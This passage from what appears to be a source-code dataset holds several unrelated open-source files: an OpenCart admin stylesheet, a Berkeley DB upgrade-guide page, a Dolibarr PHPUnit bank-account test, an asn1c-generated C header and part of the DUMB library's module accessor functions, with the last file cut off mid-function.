padding-left: 20px;
}
#menu li li ul a {
padding-left: 40px;
}
#menu li li li ul a {
padding-left: 60px;
}
#menu li li li li ul a {
padding-left: 80px;
}
/* footer */
#footer {
height: 100px;
text-align: center;
}
/* Navs
/* Tabs */
.nav-tabs > li > a {
color: #a5a5a5;
border-radius: 2px 2px 0 0;
}
.nav-tabs > li > a:hover {
border-color: #eee #eee #ddd;
}
.nav-tabs {
margin-bottom: 25px;
}
.nav-tabs > li.active > a, .nav-tabs > li.active > a:hover, .nav-tabs > li.active > a:focus {
font-weight: bold;
color: #333;
}
.form-control:hover {
border: 1px solid #b9b9b9;
border-top-color: #a0a0a0;
-webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);
box-shadow: inset 0 1px 2px rgba(0, 0, 0, .1);
}
div.required .control-label:not(span):before, td.required:before {
content: '* ';
color: #F00;
font-weight: bold;
}
.btn-group {
white-space: nowrap;
}
.table thead td span[data-toggle="tooltip"]:after, label.control-label span:after {
font-family: FontAwesome;
color: #1E91CF;
content: "\f059";
margin-left: 4px;
}
fieldset legend {
padding-bottom: 5px;
}
input[type="radio"], input[type="checkbox"] {
margin: 2px 0 0;
}
.radio, .checkbox {
min-height: 18px;
}
input[type="radio"], .radio input[type="radio"], .radio-inline input[type="radio"], input[type="checkbox"], .checkbox input[type="checkbox"], .checkbox-inline input[type="checkbox"] {
position: relative;
width: 13px;
width: 16px \0;
height: 13px;
height: 16px \0;
-webkit-appearance: none;
background: white;
border: 1px solid #dcdcdc;
border: 1px solid transparent \0;
border-radius: 1px;
}
input[type="radio"]:focus, .radio input[type="radio"]:focus, .radio-inline input[type="radio"]:focus, input[type="checkbox"]:focus, .checkbox input[type="checkbox"]:focus, .checkbox-inline input[type="checkbox"]:focus {
border-color: #4d90fe;
outline: 0;
}
input[type="radio"]:active, .radio input[type="radio"]:active, .radio-inline input[type="radio"]:active, input[type="checkbox"]:active, .checkbox input[type="checkbox"]:active, .checkbox-inline input[type="checkbox"]:active {
background-color: #ebebeb;
border-color: #c6c6c6;
}
input[type="radio"]:checked, .radio input[type="radio"]:checked, .radio-inline input[type="radio"]:checked, input[type="checkbox"]:checked, .checkbox input[type="checkbox"]:checked, .checkbox-inline input[type="checkbox"]:checked {
background: #fff;
}
input[type="radio"], .radio input[type="radio"], .radio-inline input[type="radio"] {
width: 15px;
width: 18px \0;
height: 15px;
height: 18px \0;
border-radius: 1em;
}
input[type="radio"]:checked::after, .radio input[type="radio"]:checked::after, .radio-inline input[type="radio"]:checked::after {
position: relative;
top: 3px;
left: 3px;
display: block;
width: 7px;
height: 7px;
content: '';
background: #666;
border-radius: 1em;
}
input[type="checkbox"]:hover, .checkbox input[type="checkbox"]:hover, .checkbox-inline input[type="checkbox"]:hover {
border-color: #c6c6c6;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .1);
-webkit-box-shadow: none \9;
box-shadow: inset 0 1px 1px rgba(0, 0, 0, .1);
box-shadow: none \9;
}
input[type="checkbox"]:checked::after, .checkbox input[type="checkbox"]:checked::after, .checkbox-inline input[type="checkbox"]:checked::after {
position: absolute;
top: -6px;
left: -5px;
display: block;
content: url('../image/checkmark.png');
}
.table thead td {
font-weight: bold;
}
.table thead > tr > td, .table tbody > tr > td {
vertical-align: middle;
}
.table a.asc:after {
content: " \f106";
font-family: FontAwesome;
}
.table a.desc:after {
content: " \f107";
font-family: FontAwesome;
}
.pagination {
margin: 0;
}
.form-group {
padding-top: 15px;
padding-bottom: 15px;
margin-bottom: 0;
}
.form-group + .form-group {
border-top: 1px solid #ededed;
}
/* Panels */
.panel {
border-radius: 0px;
}
.panel .panel-heading {
position: relative;
}
.panel-heading h3 i {
margin-right: 5px;
-webkit-tap-highlight-color: rgba(0,0,0,0);
}
.panel-heading h3 {
font-weight: 500;
display: inline-block;
}
/* Primary Panel */
.panel-primary {
border: 1px solid #c3e4f6;
border-top: 2px solid #5cb7e7;
}
.panel-primary .panel-heading {
color: #1e91cf;
border-color: #96d0f0;
background: white;
}
/* Default Panel */
.panel-default {
border: 1px solid #dcdcdc;
border-top: 1px solid #dcdcdc;
}
.panel-default .panel-heading {
color: #4c4d5a;
border-color: #dcdcdc;
background: #f6f6f6;
text-shadow: 0 -1px 0 rgba(50,50,50,0);
}
.img-thumbnail i {
color: #FFFFFF;
background-color: #EEEEEE;
text-align: center;
vertical-align: middle;
width: 100px;
height: 100px;
padding-top: 20px;
vertical-align: middle;
display: inline-block;
}
.img-thumbnail.list i {
width: 40px;
height: 40px;
padding-top: 10px;
}
/* Tiles */
.tile {
margin-bottom: 15px;
border-radius: 3px;
color: #FFFFFF;
transition: all 1s;
}
.tile-primary {
background-color: #1b80c2;
}
.tile-success {
background-color: #53b953;
}
.tile-warning {
background-color: #f3aa41;
}
.tile-danger {
background-color: #e45847;
}
.tile:hover {
opacity: 0.95;
}
.tile a {
color: #FFFFFF;
}
.tile-heading {
padding: 5px 8px;
text-transform: uppercase;
color: #FFF;
text-shadow: 0 -1px 0 rgba(0,0,0,.4);
background-color: rgba(255,255,255,0.1);
}
.tile .tile-heading .pull-right {
transition: all 1s;
opacity: 0.7;
}
.tile:hover .tile-heading .pull-right {
opacity: 1;
}
.tile-body {
padding: 15px;
color: #FFFFFF;
line-height: 48px;
text-shadow: 0 -1px 0 rgba(0,0,0,.4);
}
.tile .tile-body i {
font-size: 50px;
opacity: 0.3;
transition: all 1s;
}
.tile:hover .tile-body i {
color: #FFFFFF;
opacity: 1;
}
.tile .tile-body h2 {
font-size: 42px;
}
.tile-footer {
padding: 5px 8px;
background-color: rgba(0,0,0,0.1);
}
#stats {
border-radius: 2px;
color: #808b9c;
background: #2e3a47;
margin: 15px 20px;
padding: 5px 0;
}
#stats ul, #stats li {
padding: 0;
margin: 0;
list-style: none;
}
#stats li {
font-size: 11px;
color: #9d9d9d;
padding: 5px 10px;
border-bottom: 1px dotted #373737;
}
#stats div:first-child {
margin-bottom: 4px;
}
#stats .progress {
height: 3px;
margin-bottom: 0;
}
.jqvmap-label {
z-index: 999;
}
.alert {
overflow: auto;
}
/* Fix form-group margin inside the modal */
.modal-body .form-group {
margin: 0;
}
/* Fixed Sumernote Button Height */
.note-toolbar.panel-heading i {
font-size: 14px;
}
/* Filemanager Folder Size */
#filemanager .fa-folder.fa-5x {
font-size: 10.5em;
}
#extension-list {
color: #4b525d;
}
#extension-list h2 {
margin-top: 54px;
margin-bottom: 44px;
}
#extension-list section {
border: 1px solid #ddd;
}
#extension-list section > div {
position: relative;
}
#extension-list section > div + div {
border-top: 1px solid #ddd;
padding: 10px;
}
#extension-list section:hover {
border: 1px solid #1b80c2;
}
#extension-list > .row {
margin-top: 40px;
}
#extension-list > .row > * {
margin-bottom: 30px;
}
#extension-list .extension-preview {
min-height: 150px;
}
#extension-list .extension-preview .extension-description {
position: absolute;
background-color: rgba(36, 45, 55, 0.9);
color: #fff;
padding: 10px;
font-size: 14px;
line-height: 16px;
opacity: 0;
height: 100%;
width: 100%;
}
#extension-list .extension-preview .extension-description:hover {
opacity: 1;
}
@media screen and (min-width: 992px) and (max-width: 1199px) {
#extension-list .extension-preview {
min-height: 123px;
}
#extension-list .extension-preview .extension-description {
font-size: 12.5px;
padding: 6px;
}
}
#extension-list .extension-preview img {
margin: 0 auto;
}
#extension-list .extension-name {
min-height: 100px;
}
#extension-list .extension-name p {
color: #000;
margin-bottom: 0;
font-weight: 600;
}
#extension-list .extension-name p:first-child {
font-size: 17px;
}
#extension-list .extension-name p span {
color: #4b525d;
font-weight: 400;
}
#extension-list .extension-name h4 a, #extension-list .extension-name p a {
color: #000;
}
#extension-list .extension-name + div > .row {
margin-top: 0;
}
@media screen and (min-width: 992px) and (max-width: 1199px) {
#extension-list .extension-name + div > .row {
font-size: 14px;
}
}
#extension-list i {
color: #10b4e9;
}
#extension-list span {
font-weight: 600;
}
}
#marketplace-extension-info #banner img {
margin-left: auto;
margin-right: auto;
}
#marketplace-extension-info .extension-review {
border-top: 5px solid #1b80c2;
padding-top: 50px;
margin-top: 50px;
margin-bottom: 50px;
}
#marketplace-extension-info .nav-tabs {
font-size: 14px;
}
#marketplace-extension-info .nav-tabs + .tab-content {
margin-top: 30px;
margin-bottom: 30px;
}
#marketplace-extension-info iframe {
width: 100%;
height: 500px;
}
@media screen and (max-width: 767px) {
#marketplace-extension-info iframe {
height: 350px;
}
}
#marketplace-extension-info #buy {
color: #4b525d;
}
#marketplace-extension-info #buy #price {
color: #000;
font-size: 20px;
padding-top: 15px;
padding-bottom: 5px;
}
#marketplace-extension-info #buy i {
color: #10b4e9;
}
#marketplace-extension-info #buy hr {
border-color: #ddd;
margin: 10px 0;
}
#marketplace-extension-info #sales {
color: #4b525d;
}
#marketplace-extension-info #sales i {
color: #7ec239;
margin-right: 10px;
font-size: 24px;
}
#marketplace-extension-info #sales strong {
font-size: 24px;
}
#marketplace-extension-info #comment {
color: #4b525d;
}
#marketplace-extension-info #comment i {
margin-right: 10px;
font-size: 22px;
}
#marketplace-extension-info #comment strong {
font-size: 22px;
}
#marketplace-extension-info .reply > div {
margin-top: 15px;
}
#marketplace-extension-info .well .media {
line-height: 1.2;
}
#marketplace-extension-info .well .media .media-body {
padding-top: 6px;
}
#marketplace-extension-info .well .media .media-body span {
font-size: 24px;
font-weight: 600;
}
#marketplace-extension-info .well .media .media-body small {
color: #878f9a;
}
@media screen and (max-width: 992px) {
#marketplace-extension-info .container-fluid {
padding-bottom: 30px;
}
}
.list-check {
list-style: none;
}
.list-check li::before {
font-family: 'FontAwesome';
content: '\f00c';
margin-left: -30px;
width: 29px;
display: inline-block;
color: #7ebd38;
}
.list-check.list-color-blue li::before {
color: #02afe9;
}
.well.filter {
background-color: #ffffff;
}
@font-face {
font-family: 'opencart';
src: url('fonts/opencart.eot?h4wsna');
src: url('fonts/opencart.eot?h4wsna#iefix') format('embedded-opentype'), url('fonts/opencart.ttf?h4wsna') format('truetype'), url('fonts/opencart.woff?h4wsna') format('woff'), url('fonts/opencart.svg?h4wsna#opencart') format('svg');
font-weight: normal;
font-style: normal;
}
[class^="opencart-icon-"], [class*=" opencart-icon-"] {
font-family: 'opencart' !important;
speak: none;
font-style: normal;
font-weight: normal;
font-variant: normal;
text-transform: none;
/* Better Font Rendering =========== */
line-height: 1;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
.opencart-icon-comment:before {
content: "\e91b";
}
.opencart-icon-cart-mini:before {
content: "\e91c";
}
|
Kutomore/beagle
|
upload/admin/view/stylesheet/stylesheet.css
|
CSS
|
gpl-3.0
| 16,179
|
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Chapter 9. Upgrading Berkeley DB 12.1.6.0 applications to Berkeley DB 12.1.6.1</title>
<link rel="stylesheet" href="gettingStarted.css" type="text/css" />
<meta name="generator" content="DocBook XSL Stylesheets V1.73.2" />
<link rel="start" href="index.html" title="Berkeley DB Installation and Build Guide" />
<link rel="up" href="index.html" title="Berkeley DB Installation and Build Guide" />
<link rel="prev" href="build_vxworks_faq.html" title="VxWorks FAQ" />
<link rel="next" href="fcbc_notif.html" title="Failchk Broadcast Notifications" />
</head>
<body>
<div xmlns="" class="navheader">
<div class="libver">
<p>Library Version 12.1.6.1</p>
</div>
<table width="100%" summary="Navigation header">
<tr>
<th colspan="3" align="center">Chapter 9. Upgrading Berkeley DB 12.1.6.0 applications to Berkeley DB 12.1.6.1 </th>
</tr>
<tr>
<td width="20%" align="left"><a accesskey="p" href="build_vxworks_faq.html">Prev</a> </td>
<th width="60%" align="center"> </th>
<td width="20%" align="right"> <a accesskey="n" href="fcbc_notif.html">Next</a></td>
</tr>
</table>
<hr />
</div>
<div class="chapter" lang="en" xml:lang="en">
<div class="titlepage">
<div>
<div>
<h2 class="title"><a id="upgrade_61_toc"></a>Chapter 9. Upgrading Berkeley DB 12.1.6.0 applications to Berkeley DB 12.1.6.1 </h2>
</div>
</div>
</div>
<div class="toc">
<p>
<b>Table of Contents</b>
</p>
<dl>
<dt>
<span class="sect1">
<a href="upgrade_61_toc.html#upgrade_61_intro">Introduction</a>
</span>
</dt>
<dt>
<span class="sect1">
<a href="fcbc_notif.html">Failchk Broadcast Notifications</a>
</span>
</dt>
<dd>
<dl>
<dt>
<span class="sect2">
<a href="fcbc_notif.html#idp500832">New Parameter Value</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="fcbc_notif.html#idp400680">New Events</a>
</span>
</dt>
</dl>
</dd>
<dt>
<span class="sect1">
<a href="log_nosync.html">New Logging Option</a>
</span>
</dt>
<dd>
<dl>
<dt>
<span class="sect2">
<a href="log_nosync.html#idp454944">New Parameter Value</a>
</span>
</dt>
</dl>
</dd>
<dt>
<span class="sect1">
<a href="repmgr_prefmas.html">Replication Manager Preferred Master
Mode</a>
</span>
</dt>
<dd>
<dl>
<dt>
<span class="sect2">
<a href="repmgr_prefmas.html#idp436456">New Parameter Values</a>
</span>
</dt>
</dl>
</dd>
<dt>
<span class="sect1">
<a href="repmgr_inqueue.html">Replication Manager Incoming Queue
Size Limit</a>
</span>
</dt>
<dd>
<dl>
<dt>
<span class="sect2">
<a href="repmgr_inqueue.html#idp465520">New Functions</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="repmgr_inqueue.html#idp502448">New Event</a>
</span>
</dt>
</dl>
</dd>
<dt>
<span class="sect1">
<a href="blobdb_format.html">New Database Format for BLOBs</a>
</span>
</dt>
<dt>
<span class="sect1">
<a href="sqlite_ver61.html">Updated SQLite Version</a>
</span>
</dt>
<dd>
<dl>
<dt>
<span class="sect2">
<a href="sqlite_ver61.html#sqlite_db_upgrade_61">Upgrading SQL databases to releases after 6.1.19</a>
</span>
</dt>
</dl>
</dd>
<dt>
<span class="sect1">
<a href="remlockdetect.html">Removed C# Class</a>
</span>
</dt>
<dt>
<span class="sect1">
<a href="dropsupp61.html">Dropped Support</a>
</span>
</dt>
<dt>
<span class="sect1">
<a href="changelog_6_1.html">Berkeley DB Library Version 12.1.6.1 Change Log</a>
</span>
</dt>
<dd>
<dl>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp518176">Changes between 12.1.6.1.23 and 12.1.6.1.26</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp518560">Changes between 12.1.6.1.20 and 12.1.6.1.23</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp531872">Changes between 12.1.6.1.19 and 12.1.6.1.20</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp535984">Database or Log File On-Disk Format Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp531936">New Features/Improvements</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp532392">Database Environment Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp553520">Concurrent Data Store Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp543856">Access Method Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp535736">API Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp536368">SQL-specific API Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp544240">Tcl-specific API Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp549624">Java-specific API Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp536752">C#-specific API Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp561664">C++-specific API Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp563008">Replication Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp563816">Locking Subsystem Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp565648">Logging Subsystem Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp566336">Memory Pool Subsystem Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp564232">Mutex Subsystem Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp571816">Transaction Subsystem Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp572312">Test Suite Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp576136">Utility Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp577272">Configuration, Documentation, Sample Apps, Portability and Build Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp577024">Example Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp576520">Miscellaneous Bug Fixes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp581496">Platform Certification Changes</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp578120">Deprecated Features</a>
</span>
</dt>
<dt>
<span class="sect2">
<a href="changelog_6_1.html#idp581584">Known Bugs</a>
</span>
</dt>
</dl>
</dd>
</dl>
</div>
<div class="sect1" lang="en" xml:lang="en">
<div class="titlepage">
<div>
<div>
<h2 class="title" style="clear: both"><a id="upgrade_61_intro"></a>Introduction</h2>
</div>
</div>
</div>
<p>
The following pages describe how to upgrade
applications coded against the Berkeley DB 12.1.6.0
library (which belongs to Berkeley DB
12<span class="emphasis"><em>c</em></span> Release 1) to the Berkeley DB
12.1.6.1 library (which belongs to Berkeley DB
12<span class="emphasis"><em>c</em></span> Release 1). This information
does not describe how to upgrade Berkeley DB 1.85 release
applications.
</p>
<p>
For information on the general process of upgrading
Berkeley DB installations and upgrade instructions related
to historical releases, see the
<a class="ulink" href="http://docs.oracle.com/cd/E17076_02/html/upgrading/index.html" target="_top">
Berkeley DB Upgrade Guide. </a>
</p>
</div>
</div>
<div class="navfooter">
<hr />
<table width="100%" summary="Navigation footer">
<tr>
<td width="40%" align="left"><a accesskey="p" href="build_vxworks_faq.html">Prev</a> </td>
<td width="20%" align="center"> </td>
<td width="40%" align="right"> <a accesskey="n" href="fcbc_notif.html">Next</a></td>
</tr>
<tr>
<td width="40%" align="left" valign="top">VxWorks FAQ </td>
<td width="20%" align="center">
<a accesskey="h" href="index.html">Home</a>
</td>
<td width="40%" align="right" valign="top"> Failchk Broadcast Notifications</td>
</tr>
</table>
</div>
</body>
</html>
|
apavlo/h-store
|
third_party/cpp/berkeleydb/docs/installation/upgrade_61_toc.html
|
HTML
|
gpl-3.0
| 12,456
|
<?php
/* Copyright (C) 2010 Laurent Destailleur <eldy@users.sourceforge.net>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
* or see http://www.gnu.org/
*/
/**
* \file test/phpunit/CompanyBankAccount.php
* \ingroup test
* \brief PHPUnit test
* \remarks To run this script as CLI: phpunit filename.php
*/
global $conf,$user,$langs,$db;
//define('TEST_DB_FORCE_TYPE','mysql'); // This is to force using mysql driver
require_once 'PHPUnit/Autoload.php';
require_once dirname(__FILE__).'/../../htdocs/master.inc.php';
require_once dirname(__FILE__).'/../../htdocs/societe/class/companybankaccount.class.php';
if (empty($user->id))
{
print "Load permissions for admin user nb 1\n";
$user->fetch(1);
$user->getrights();
}
$conf->global->MAIN_DISABLE_ALL_MAILS=1;
/**
* Class for PHPUnit tests
*
* @backupGlobals disabled
* @backupStaticAttributes enabled
* @remarks backupGlobals must be disabled to have db,conf,user and lang not erased.
*/
class CompanyBankAccountTest extends PHPUnit_Framework_TestCase
{
protected $savconf;
protected $savuser;
protected $savlangs;
protected $savdb;
/**
* Constructor
* We save global variables into local variables
*
* @return CompanyBankAccountTest
*/
function __construct()
{
//$this->sharedFixture
global $conf,$user,$langs,$db;
$this->savconf=$conf;
$this->savuser=$user;
$this->savlangs=$langs;
$this->savdb=$db;
print __METHOD__." db->type=".$db->type." user->id=".$user->id;
//print " - db ".$db->db;
print "\n";
}
// Static methods
public static function setUpBeforeClass()
{
global $conf,$user,$langs,$db;
$db->begin(); // This is to have all actions inside a transaction even if test launched without suite.
print __METHOD__."\n";
}
public static function tearDownAfterClass()
{
global $conf,$user,$langs,$db;
$db->rollback();
print __METHOD__."\n";
}
/**
* Init phpunit tests
*
* @return void
*/
protected function setUp()
{
global $conf,$user,$langs,$db;
$conf=$this->savconf;
$user=$this->savuser;
$langs=$this->savlangs;
$db=$this->savdb;
print __METHOD__."\n";
//print $db->getVersion()."\n";
}
/**
* End phpunit tests
*
* @return void
*/
protected function tearDown()
{
print __METHOD__."\n";
}
/**
* testCompanyBankAccountCreate
*
* @return int
*/
public function testCompanyBankAccountCreate()
{
global $conf,$user,$langs,$db;
$conf=$this->savconf;
$user=$this->savuser;
$langs=$this->savlangs;
$db=$this->savdb;
$localobject=new CompanyBankAccount($this->savdb);
$localobject->initAsSpecimen();
$result=$localobject->create($user);
$this->assertLessThan($result, 0);
print __METHOD__." result=".$result."\n";
return $result;
}
/**
* testCompanyBankAccountFetch
*
* @param int $id Id of bank account
* @return void
*
* @depends testCompanyBankAccountCreate
* The depends says test is run only if previous is ok
*/
public function testCompanyBankAccountFetch($id)
{
global $conf,$user,$langs,$db;
$conf=$this->savconf;
$user=$this->savuser;
$langs=$this->savlangs;
$db=$this->savdb;
$localobject=new CompanyBankAccount($this->savdb);
$result=$localobject->fetch($id);
$this->assertLessThan($result, 0);
print __METHOD__." id=".$id." result=".$result."\n";
return $localobject;
}
/**
* testCompanyBankAccountUpdate
*
* @param Object $localobject Bank account object
* @return int
*
* @depends testCompanyBankAccountFetch
* The depends says test is run only if previous is ok
*/
public function testCompanyBankAccountUpdate($localobject)
{
global $conf,$user,$langs,$db;
$conf=$this->savconf;
$user=$this->savuser;
$langs=$this->savlangs;
$db=$this->savdb;
$localobject->owner='New owner';
$result=$localobject->update($user);
print __METHOD__." id=".$localobject->id." result=".$result."\n";
$this->assertLessThan($result, 0);
return $localobject;
}
/**
* testCompanyBankAccountOther
*
* @param Object $localobject Bank account
* @return int
*
* @depends testCompanyBankAccountFetch
* The depends says test is run only if previous is ok
*/
public function testCompanyBankAccountOther($localobject)
{
global $conf,$user,$langs,$db;
$conf=$this->savconf;
$user=$this->savuser;
$langs=$this->savlangs;
$db=$this->savdb;
$localobject->owner='New owner';
$result=$localobject->update($user);
print __METHOD__." id=".$localobject->id." result=".$result."\n";
$this->assertLessThan($result, 0);
return $localobject->id;
}
}
?>
|
woakes070048/crm-php
|
test/phpunit/CompanyBankAccountTest.php
|
PHP
|
gpl-3.0
| 5,478
|
/*
* Generated by asn1c-0.9.24 (http://lionet.info/asn1c)
* From ASN.1 module "InformationElements"
* found in "../asn/InformationElements.asn"
* `asn1c -fcompound-names -fnative-types`
*/
#ifndef _EUTRA_MeasuredResults_vb50ext_H_
#define _EUTRA_MeasuredResults_vb50ext_H_
#include <asn_application.h>
/* Including external dependencies */
#include "EUTRA-MeasuredResultList-vb50ext.h"
#include <constr_SEQUENCE.h>
#ifdef __cplusplus
extern "C" {
#endif
/* EUTRA-MeasuredResults-vb50ext */
typedef struct EUTRA_MeasuredResults_vb50ext {
EUTRA_MeasuredResultList_vb50ext_t eutraMeasuredResultList;
/* Context for parsing across buffer boundaries */
asn_struct_ctx_t _asn_ctx;
} EUTRA_MeasuredResults_vb50ext_t;
/* Implementation */
extern asn_TYPE_descriptor_t asn_DEF_EUTRA_MeasuredResults_vb50ext;
#ifdef __cplusplus
}
#endif
#endif /* _EUTRA_MeasuredResults_vb50ext_H_ */
#include <asn_internal.h>
|
BramBonne/snoopsnitch-pcapinterface
|
contrib/libosmo-asn1-rrc/include/EUTRA-MeasuredResults-vb50ext.h
|
C
|
gpl-3.0
| 922
|
/* _______ ____ __ ___ ___
* \ _ \ \ / \ / \ \ / / ' ' '
* | | \ \ | | || | \/ | . .
* | | | | | | || ||\ /| |
* | | | | | | || || \/ | | ' ' '
* | | | | | | || || | | . .
* | |_/ / \ \__// || | |
* /_______/ynamic \____/niversal /__\ /____\usic /| . . ibliotheque
* / \
* / . \
* itmisc.c - Miscellaneous functions relating / / \ \
* to module files. | < / \_
* | \/ /\ /
* By entheh. \_ / > /
* | \ / /
* | ' /
* \__/
*/
#include "dumb.h"
#include "internal/it.h"
int dumb_it_default_panning_separation = 25;
DUMB_IT_SIGDATA *DUMBEXPORT duh_get_it_sigdata(DUH *duh)
{
return duh_get_raw_sigdata(duh, -1, SIGTYPE_IT);
}
const unsigned char *DUMBEXPORT dumb_it_sd_get_song_message(DUMB_IT_SIGDATA *sd)
{
return sd ? sd->song_message : NULL;
}
int DUMBEXPORT dumb_it_sd_get_n_orders(DUMB_IT_SIGDATA *sd)
{
return sd ? sd->n_orders : 0;
}
int DUMBEXPORT dumb_it_sd_get_n_samples(DUMB_IT_SIGDATA *sd)
{
return sd ? sd->n_samples : 0;
}
int DUMBEXPORT dumb_it_sd_get_n_instruments(DUMB_IT_SIGDATA *sd)
{
return sd ? sd->n_instruments : 0;
}
const unsigned char *DUMBEXPORT dumb_it_sd_get_sample_name(DUMB_IT_SIGDATA *sd, int i)
{
ASSERT(sd && sd->sample && i >= 0 && i < sd->n_samples);
return sd->sample[i].name;
}
const unsigned char *DUMBEXPORT dumb_it_sd_get_sample_filename(DUMB_IT_SIGDATA *sd, int i)
{
ASSERT(sd && sd->sample && i >= 0 && i < sd->n_samples);
return sd->sample[i].filename;
}
const unsigned char *DUMBEXPORT dumb_it_sd_get_instrument_name(DUMB_IT_SIGDATA *sd, int i)
{
ASSERT(sd && sd->instrument && i >= 0 && i < sd->n_instruments);
return sd->instrument[i].name;
}
const unsigned char *DUMBEXPORT dumb_it_sd_get_instrument_filename(DUMB_IT_SIGDATA *sd, int i)
{
ASSERT(sd && sd->instrument && i >= 0 && i < sd->n_instruments);
return sd->instrument[i].filename;
}
int DUMBEXPORT dumb_it_sd_get_initial_global_volume(DUMB_IT_SIGDATA *sd)
{
return sd ? sd->global_volume : 0;
}
void DUMBEXPORT dumb_it_sd_set_initial_global_volume(DUMB_IT_SIGDATA *sd, int gv)
{
if (sd) sd->global_volume = gv;
}
int DUMBEXPORT dumb_it_sd_get_mixing_volume(DUMB_IT_SIGDATA *sd)
{
return sd ? sd->mixing_volume : 0;
}
void DUMBEXPORT dumb_it_sd_set_mixing_volume(DUMB_IT_SIGDATA *sd, int mv)
{
if (sd) sd->mixing_volume = mv;
}
int DUMBEXPORT dumb_it_sd_get_initial_speed(DUMB_IT_SIGDATA *sd)
{
return sd ? sd->speed : 0;
}
void DUMBEXPORT dumb_it_sd_set_initial_speed(DUMB_IT_SIGDATA *sd, int speed)
{
if (sd) sd->speed = speed;
}
int DUMBEXPORT dumb_it_sd_get_initial_tempo(DUMB_IT_SIGDATA *sd)
{
return sd ? sd->tempo : 0;
}
void DUMBEXPORT dumb_it_sd_set_initial_tempo(DUMB_IT_SIGDATA *sd, int tempo)
{
if (sd) sd->tempo = tempo;
}
int DUMBEXPORT dumb_it_sd_get_initial_channel_volume(DUMB_IT_SIGDATA *sd, int channel)
{
ASSERT(channel >= 0 && channel < DUMB_IT_N_CHANNELS);
return sd ? sd->channel_volume[channel] : 0;
}
void DUMBEXPORT dumb_it_sd_set_initial_channel_volume(DUMB_IT_SIGDATA *sd, int channel, int volume)
{
ASSERT(channel >= 0 && channel < DUMB_IT_N_CHANNELS);
if (sd) sd->channel_volume[channel] = volume;
}
int DUMBEXPORT dumb_it_sr_get_current_order(DUMB_IT_SIGRENDERER *sr)
{
return sr ? sr->order : -1;
}
int DUMBEXPORT dumb_it_sr_get_current_row(DUMB_IT_SIGRENDERER *sr)
{
return sr ? sr->row : -1;
}
int DUMBEXPORT dumb_it_sr_get_global_volume(DUMB_IT_SIGRENDERER *sr)
{
return sr ? sr->globalvolume : 0;
}
void DUMBEXPORT dumb_it_sr_set_global_volume(DUMB_IT_SIGRENDERER *sr, int gv)
{
if (sr) sr->globalvolume = gv;
}
int DUMBEXPORT dumb_it_sr_get_tempo(DUMB_IT_SIGRENDERER *sr)
{
return sr ? sr->tempo : 0;
}
void DUMBEXPORT dumb_it_sr_set_tempo(DUMB_IT_SIGRENDERER *sr, int tempo)
{
if (sr) sr->tempo = tempo;
}
int DUMBEXPORT dumb_it_sr_get_speed(DUMB_IT_SIGRENDERER *sr)
{
return sr ? sr->speed : 0;
}
void DUMBEXPORT dumb_it_sr_set_speed(DUMB_IT_SIGRENDERER *sr, int speed)
{
if (sr) sr->speed = speed;
}
int DUMBEXPORT dumb_it_sr_get_channel_volume(DUMB_IT_SIGRENDERER *sr, int channel)
{
return sr ? sr->channel[channel].channelvolume : 0;
}
void DUMBEXPORT dumb_it_sr_set_channel_volume(DUMB_IT_SIGRENDERER *sr, int channel, int volume)
{
if (sr) sr->channel[channel].channelvolume = volume;
}
void DUMBEXPORT dumb_it_sr_set_channel_muted(DUMB_IT_SIGRENDERER *sr, int channel, int muted)
{
